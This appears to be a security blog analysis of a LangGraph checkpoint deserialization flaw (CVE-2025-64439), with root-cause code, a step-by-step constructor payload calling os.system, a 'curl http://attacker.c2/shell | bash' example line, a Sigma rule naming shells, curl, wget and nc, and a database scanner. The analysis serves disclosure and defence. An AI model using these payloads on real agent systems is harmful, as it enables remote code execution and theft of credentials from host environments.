LangGraph: Deconstructing Agent Memory Poisoning RCE

LangGraph: Deconstructing Agent Memory Poisoning RCE

Overview & Threat Landscape: Stateful AI Agents & Agentic Memory Poisoning (CVE-2025-64439)#

LangGraph CVE-2025-64439 allows remote code execution via JsonPlusSerializer state deserialization flaws. Upgrade langgraph-checkpoint to 3.0.0+.

As enterprise artificial intelligence architectures transition from stateless, single-turn prompts to autonomous, multi-actor agentic workflows, frameworks like LangGraph (developed by LangChain) have become the industry standard for stateful AI orchestration. In LangGraph, agents make decisions across cyclical graphs, pause execution for human-in-the-loop validation, and persist execution states across time-travel branches using dedicated checkpointers (SqliteSaver, PostgresSaver, RedisSaver, and AsyncMongoDBSaver).

However, in November 2025, security researchers disclosed a critical vulnerability in LangGraph's underlying state serialization library: CVE-2025-64439 (GitHub Advisory GHSA-wwqv-p2pp-99h5, CVSS 7.4 / High to Critical in autonomous multi-tenant environments, mapped to MITRE ATT&CK T1190: Exploit Public-Facing Application, T1059.006: Python, and T1565.001: Stored Data Manipulation). The flaw resides in langgraph-checkpoint's core serialization engine, JsonPlusSerializer.

For enterprise security architects, AI red teams, and platform engineers, CVE-2025-64439 fundamentally transforms the threat landscape for agentic AI:

  • State Is the New Ingress Boundary: In traditional web security, the primary attack surface is user input sent via HTTP parameters and JSON request bodies. In stateful agentic AI, the persistence layer itself—the "memory" storing conversation history, tool outputs, and execution checkpoints—becomes an unauthenticated code execution conduit. An adversary who influences state variables can execute arbitrary code on the underlying GPU inference server.
  • The Asymmetric Detonation Window: Unlike typical web exploits that trigger immediate synchronous errors, CVE-2025-64439 represents a Dormant Memory Poisoning attack. An adversary can inject a malicious payload into an agent's state database hours or days in advance. The payload remains inert until the agent resumes execution, evaluates a checkpoint tuple, or rolls back state during a human-in-the-loop review.
  • The Encoding Fallback Trap: LangGraph developers intended to use binary msgpack serialization for performance and safety. However, JsonPlusSerializer contained a silent fallback mechanism: when encountering illegal Unicode surrogate characters (such as \\\ud800), msgpack serialization raises an encoding error, causing the engine to automatically fall back to an unsafe JSON deserialization parser.
  • Universal Blast Radius Across AI Backends: Because langgraph-checkpoint serves as the foundational persistence layer across LangGraph, LangGraph Cloud, and langgraph-api, this vulnerability compromises all stateful storage backends (PostgreSQL databases, local SQLite stores, Redis clusters, and MongoDB documents) storing untrusted user interactions.
Warning

Any multi-user LangGraph application running langgraph-checkpoint < 3.0.0 that accepts user input into its state graph or stores conversation history is vulnerable to complete host compromise. Upgrading to langgraph-checkpoint >= 3.0.0 is strictly required.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.


Vulnerability & Attack Root-Cause Analysis: Dissecting JsonPlusSerializer & Surrogate Fallbacks#

To deconstruct the root cause of CVE-2025-64439, we must analyze the internal serialization lifecycle of langgraph-checkpoint and examine how JsonPlusSerializer handles complex Python objects.

The Role of Checkpointers in LangGraph#

In LangGraph, an agent's execution is defined as a directed graph where state transitions between nodes. At every step, the graph invokes a Checkpointer to persist a snapshot of the current state:

PLAINTEXT
[Agent Node Execution] ──► Produces State Update dict
                                  │
                                  ▼
                     [Checkpointer.put(config, checkpoint)]
                                  │
                                  ▼
                   [JsonPlusSerializer.dumps_typed(state)]
                                  │
                                  ▼
               [Storage: SQLite / Postgres / Redis / Mongo]

When an agent execution is resumed via graph.invoke(None, config) or checkpointer.get_tuple(config), the checkpointer fetches the raw serialized bytes from the database and invokes JsonPlusSerializer.loads_typed(blob) to reconstitute the Python dictionary.

The Vulnerable Object Revival Mechanism: Magic Keys#

Standard JSON only supports primitives (strings, numbers, booleans, arrays, objects, and null). To serialize complex LangChain objects (such as AIMessage, HumanMessage, and custom tool schemas), LangGraph introduced a custom revival format in libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py.

When serializing an object, the serializer tags it with special "magic keys":

  • lc: 2: Identifies the object as a LangChain/LangGraph v2 serialized entity.
  • type: "constructor": Instructs the deserializer that this object should be reconstituted by dynamically importing and calling a Python constructor or function.
  • id: ["module", "submodule", "ClassName"]: Specifies the exact import path of the target Python callable.
  • kwargs: {...}: Contains the dictionary of arguments to pass directly to the imported constructor.

The vulnerable deserialization routine in JsonPlusSerializer prior to version 3.0.0 evaluated constructor revival without an allowlist:

PYTHON
# Simplified representation of vulnerable deserialization logic in jsonplus.py
def _revive_constructor(obj: dict):
    if obj.get("lc") == 2 and obj.get("type") == "constructor":
        module_path = ".".join(obj["id"][:-1])
        class_name = obj["id"][-1]
        
        # Dynamically imports arbitrary module specified in payload
        module = importlib.import_module(module_path)
        target_callable = getattr(module, class_name)
        
        # Executes the callable with attacker-controlled kwargs!
        return target_callable(**obj.get("kwargs", {}))
    return obj

If an attacker supplies id: ["os", "system"] with kwargs: {"command": "curl http://attacker.c2/shell | bash"}, the deserializer imports os, retrieves system, and executes the command during state recovery.

The Dual-Mode Serialization Trap & Unicode Surrogates#

LangGraph maintainers recognized that arbitrary constructor deserialization was risky, so they designed the serializer to use msgpack (ormsgpack) as its primary protocol, reserving JSON mode for human-readable configurations.

However, jsonplus.py implemented a silent fallback mechanism:

PYTHON
# Vulnerable fallback path in JsonPlusSerializer.dumps_typed
def dumps_typed(self, obj: Any) -> tuple[str, bytes]:
    try:
        # Attempt primary fast binary serialization
        return "msgpack", ormsgpack.packb(obj)
    except Exception:
        # Fallback to JSON serialization when msgpack fails!
        return "json", json.dumps(obj, default=self._default_encode).encode("utf-8")

The flaw lies in the handling of Unicode surrogate code points (characters in the range U+D800 through U+DFFF). In Python, strings containing isolated surrogates (such as "\\ud800") are valid UTF-16 surrogate halves but cannot be encoded into standard UTF-8 without raising a UnicodeEncodeError.

When ormsgpack.packb() processes a dictionary containing a surrogate character, it throws a serialization error. JsonPlusSerializer catches the exception and falls back to json mode. In json mode, the serializer outputs a payload formatted with constructor magic keys. When the checkpointer subsequently reads this data via loads_typed(), the parser detects "json" mode and executes the arbitrary callable!


Exploit Architecture: Two-Stage State Injection & Deserialization Flow#

The following Mermaid sequence diagram illustrates the complete attack lifecycle: from the adversary submitting a poisoned surrogate payload to the delayed execution of the payload during agent state resumption.

sequenceDiagram
    autonumber
    actor Attacker as Threat Actor / Prompt Injector
    participant LangApp as LangGraph Agent Application
    participant Graph as StateGraph Engine
    participant Serializer as JsonPlusSerializer (jsonplus.py)
    participant Database as Checkpoint Store (Postgres / SQLite)
    participant HostOS as Inference Worker Host OS

    Note over Attacker,LangApp: Stage 1: State Injection & Fallback Trigger
    Attacker->>LangApp: Submit prompt / input containing surrogate "\\ud800" + constructor payload
    LangApp->>Graph: Invoke node execution with poisoned state update
    Graph->>Serializer: dumps_typed(checkpoint_state)
    Serializer->>Serializer: ormsgpack.packb fails on surrogate character
    Serializer->>Serializer: Silent fallback to vulnerable "json" serialization mode\n    Serializer-->>Graph: Return ("json", serialized_payload_with_magic_keys)
    Graph->>Database: INSERT into checkpoints table (Dormant Payload Stored)
    Database-->>LangApp: Acknowledge state write (Payload successfully staged)

    Note over Attacker,HostOS: Stage 2: Delayed Deserialization & Code Execution
    Attacker->>LangApp: Trigger subsequent conversation turn / resume agent workflow
    LangApp->>Graph: graph.invoke(None, config={"thread_id": "target_thread"})
    Graph->>Database: SELECT checkpoint FROM checkpoints WHERE thread_id = target
    Database-->>Graph: Return raw serialized state blob
    Graph->>Serializer: loads_typed(("json", blob))\n    Serializer->>Serializer: Detect lc: 2 and type: "constructor"
    Serializer->>Serializer: Dynamically import module from id (e.g., os / subprocess)
    Serializer->>HostOS: Execute callable with kwargs (e.g., os.system(cmd))
    HostOS-->>Attacker: Arbitrary Command Execution / Reverse Shell Established

Attack Path Step-by-Step: From Surrogate Trigger to Arbitrary Code Execution#

Let us examine the exact Python structures and execution flow required to weaponize CVE-2025-64439 in vulnerable langgraph-checkpoint deployments.

Step 1: Crafting the Constructor Payload#

The attacker defines a state object containing both the trigger surrogate character and the malicious constructor descriptor.

PYTHON
# Malicious LangGraph constructor descriptor targeting os.system
malicious_constructor = {
    "lc": 2,
    "type": "constructor",
    "id": ["os", "system"],
    "kwargs": {
        "command": "id > /tmp/langgraph_rce.txt && env > /tmp/env_dump.txt"
    }
}

# The state dictionary containing the surrogate trigger
poisoned_state = {
    "session_id": "thread-enterprise-prod-001",
    "user_input": "analyze this document \\ud800",  # Forces MsgPack failure
    "agent_memory": malicious_constructor
}

Step 2: In-Memory Serialization Fallback Execution#

When the checkpointer persists the agent state, ormsgpack aborts on \\ud800, triggering the fallback handler in jsonplus.py:

PYTHON
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer()

# Attempting to dump the poisoned state
type_tag, raw_bytes = serializer.dumps_typed(poisoned_state)

print(f"[*] Serializer output mode: {type_tag}")
# Output: [*] Serializer output mode: json

The resulting JSON string in the database holds the constructor definition:

JSON
{
  "session_id": "thread-enterprise-prod-001",
  "user_input": "analyze this document \\ud800",
  "agent_memory": {
    "lc": 2,
    "type": "constructor",
    "id": ["os", "system"],
    "kwargs": {
      "command": "id > /tmp/langgraph_rce.txt && env > /tmp/env_dump.txt"
    }
  }
}

Step 3: Triggering Delayed Deserialization via State Recovery#

The vulnerability detonates whenever the agent retrieves its historical checkpoint:

PYTHON
from langgraph.checkpoint.sqlite import SqliteSaver
from langgraph.graph import StateGraph
from typing import TypedDict

class AgentState(TypedDict):
    session_id: str
    user_input: str
    agent_memory: dict

with SqliteSaver.from_conn_string("ai_state.db") as checkpointer:
    # Simulating resume of the poisoned thread
    config = {"configurable": {"thread_id": "thread-enterprise-prod-001"}}
    
    # Checkpointer fetches blob from SQLite and calls loads_typed()
    checkpoint_tuple = checkpointer.get_tuple(config)
    
    # At this precise moment, os.system() executes with worker process permissions!

Upon execution, the worker process spawns /bin/sh and runs the injected command, compromising cloud credentials (AWS IAM role tokens, OpenAI API keys, database connection strings) present in the agent host environment.


Fast Cyber Defense Morning Takeaways: Checkpoint Hardening & Supply Chain Audits#

Protecting AI agent infrastructure against memory poisoning requires auditing both running Python dependencies and existing checkpoint database contents.

1. Production Sigma Rule: Suspicious Child Process Spawned by AI Orchestrator#

The following production Sigma rule detects command interpreters or shell processes spawned directly by Python runtimes hosting LangGraph or Celery worker processes:

YAML
title: Suspicious Shell Execution Spawned by Python AI Orchestrator
id: 4b1c8f92-2d3e-4a7b-8f1c-6e0a9d5b3c21
status: production
description: Detects command execution shells spawned as child processes of Python runtimes running LangGraph or LangChain workloads, indicative of CVE-2025-64439 exploitation.
references:
    - https://github.com/langchain-ai/langgraph/security/advisories/GHSA-wwqv-p2pp-99h5
    - https://nvd.nist.gov/vuln/detail/cve-2025-64439

tags:
    - attack.execution
    - attack.t1059.006
    - attack.t1190
    - attack.t1565.001
logsource:
    category: process_creation
    product: linux
detection:
    selection_parent:
        ParentImage|endswith:
            - '/python'
            - '/python3'
            - '/gunicorn'
            - '/uvicorn'
            - '/celery'
    selection_child:
        Image|endswith:
            - '/sh'
            - '/bash'
            - '/dash'
            - '/zsh'
            - '/curl'
            - '/wget'
            - '/nc'
    selection_cmdline:
        ParentCommandLine|contains:
            - 'langgraph'
            - 'langchain'
            - 'agent'
            - 'worker'
    condition: selection_parent and selection_child and selection_cmdline
falsepositives:
    - Legitimate AI agents explicitly configured with bash execution tools (verify tool configuration and sandboxing).
level: high

2. Dormant Checkpoint Database Scanner (SQLite & PostgreSQL)#

Blue teams must inspect historical database state tables for dormant constructor payloads:

PYTHON
# audit_checkpoints.py
# Scans SQLite and PostgreSQL checkpoint tables for CVE-2025-64439 dormant payloads

import sqlite3
import json
import sys

def scan_sqlite_checkpoints(db_path: str):
    print(f"[*] Scanning SQLite checkpoint database: {db_path}")
    conn = sqlite3.connect(db_path)
    cursor = conn.cursor()
    
    # Query checkpoint table
    cursor.execute("SELECT thread_id, checkpoint FROM checkpoints WHERE type = 'json' OR checkpoint LIKE '%\"lc\": 2%'")
    rows = cursor.fetchall()
    
    findings = 0
    for thread_id, blob in rows:
        try:
            data = json.loads(blob.decode('utf-8') if isinstance(blob, bytes) else blob)
            text_str = json.dumps(data)
            
            # Check for constructor signatures
            if '"lc": 2' in text_str and '"type": "constructor"' in text_str:
                print(f"[!] CRITICAL: Dormant poisoned constructor detected in thread {thread_id}!")
                print(f"    Payload snippet: {text_str[:200]}...")
                findings += 1
        except Exception:
            continue
            
    if findings == 0:
        print("[+] PASS: No dormant constructor payloads found.")
    else:
        print(f"[!] WARNING: Found {findings} compromised checkpoint states. Purge immediately!")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 audit_checkpoints.py <path_to_db>")
        sys.exit(1)
    scan_sqlite_checkpoints(sys.argv[1])

Executive Takeaway Table: LangGraph CVE-2025-64439 Exploit & Mitigation Matrix#

Attack Phase & Dimension Technical Mechanism & Root Cause Critical Blue Team Detection Signal Primary Defensive Mitigation
Surrogate Trigger Ingress Isolated surrogate \\ud800 in user prompt forces ormsgpack serialization failure Application logs show UnicodeEncodeError followed by JSON fallback Upgrade langgraph-checkpoint >= 3.0.0; enforce UTF-8 sanitization on input
Constructor Injection Storing {"lc": 2, "type": "constructor", "id": [...]} in agent state graph Checkpoint table entries containing "type": "constructor" and "id" Apply constructor allowlist; disable custom object deserialization in JSON mode
Delayed Code Detonation JsonPlusSerializer.loads_typed() invokes dynamic import on state resume Python runtime spawning child shells (/bin/sh, /bin/bash, curl) Container isolation (gVisor/Kata); run inference workers without root privileges
State Store Persistence Dormant serialized payload preserved across database checkpoints SQL queries flagging "lc": 2 objects in checkpoints or writes tables Automated database auditing script; purge poisoned thread checkpoints

Authoritative References & Technical Advisories#

Comments